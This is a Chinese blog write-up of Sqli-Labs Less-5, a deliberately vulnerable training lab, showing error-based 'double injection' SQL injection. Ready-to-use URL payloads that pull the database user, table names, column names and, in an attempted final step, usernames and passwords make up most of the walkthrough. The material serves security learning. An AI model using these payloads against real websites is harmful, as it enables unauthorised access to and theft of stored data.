Sqli-Labs之less-5(双注入解法)

说在开头:文章是我通过查询资料后按照自己的理解总结出来的,所以如果有说法不对的地方,欢迎大佬指正~


这一关花费了我大量的时间,我在网上看了很多别人的解题思路,发现基本上使用的都是盲注,网上用的比较多的就是布尔型盲注和时间延迟型盲注。

  • 我没有花时间去学习什么是盲注,通过看网上的解题思路,我的理解就是,在没有可显字段的情况下,通过输入查询语句一个一个猜测、通过看页面回显来判断自己的猜测是否正确(如:猜测条件为真,页面不发生变化;猜测条件为假,页面发生变化)。
  • 时间延迟型注入则是通过看页面回显是否有延迟来判断猜测条件是否为真。(有延迟,猜测条件为真;无延迟,猜测条件为假)

但是我看了一下,他们的注入过程十分漫长而且麻烦:要先判断数据库名的长度、再一个字母一个字母的猜测数据库名的名字……所以我不想按网上的解题思路走。

而且我看到这道题的提示是“双注入-单引号-字符型”:
在这里插入图片描述
所以我想按照作者希望我们锻炼的“双注入”的方式去完成这道题。

不过网上用双注入的方式的解题思路的太少了,我只找到了一篇让我看懂的,想了解具体的原理的话请看它,因为我自己并没有打算弄清楚原理,我只想学会套路,所以我下面讲的也是解题套路。
https://www.jianshu.com/p/b502893dcc81

那么接下来,进入正题。
1.首先,是payload格式,可以把它理解为“公式”、“模板”,反正根据实际情况修改细节就行了:

select count(*),concat_ws(’:’,([子查询写在这里]),floor(rand()*2)) as a from [table_name] group by a;

2.查询当前用户:
?id=1’union select 1,count(*),concat_ws(’:’,(select user()),floor(rand()*2)) as a from information_schema.tables group by a–+

  • 这里需要注意一下,并不是一次就能出现结果的,可能输入以后页面没有发生变化,不要着急,多试几次,总会出现的。
  • 评论区的大佬告诉我:把rand()*2改为rand(0)*2就不需要尝试多次才报错了。

在这里插入图片描述

3.查询表名:
?id=1’ union select 1,count(*),concat_ws(’:’,(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand()*2)) as a from information_schema.tables group by a–+
在这里插入图片描述

3.查询users表里的字段名:
?id=1’ union select 1,count(*),concat_ws(’:’,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),floor(rand()*2)) as a from users group by a–+
在这里插入图片描述

4.按套路,接下来该爆字段内容了,但是我输入了以下两个payload以后,页面不再发生变化了,我看别人的解题思路只做到爆数据表名,没有得到像前面几关那样的username和password,所以我做到这一步也就到此为止了:
?id=1’ union select 1,count(*),concat_ws(’:’,(select group_concat(username) from users),floor(rand()*2)) as a from users group by a–+

?id=1’ union select 1,count(*),concat_ws(’:’,(select group_concat(password) from users),floor(rand()*2)) as a from users group by a–+

后话:

  • 本来之前还想着双注入解完以后再用盲注的方式再解一次,但是现在看来,我没有必要再在这上面花时间,如果后面需要需要盲注解的题,再去研究和使用盲注手段。
  • 这里面【子查询】的语句,其实还是基于less-1里面的payload的,所以我认为学好套路就行,用的时候根据实际情况举一反三即可。
  • 4
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值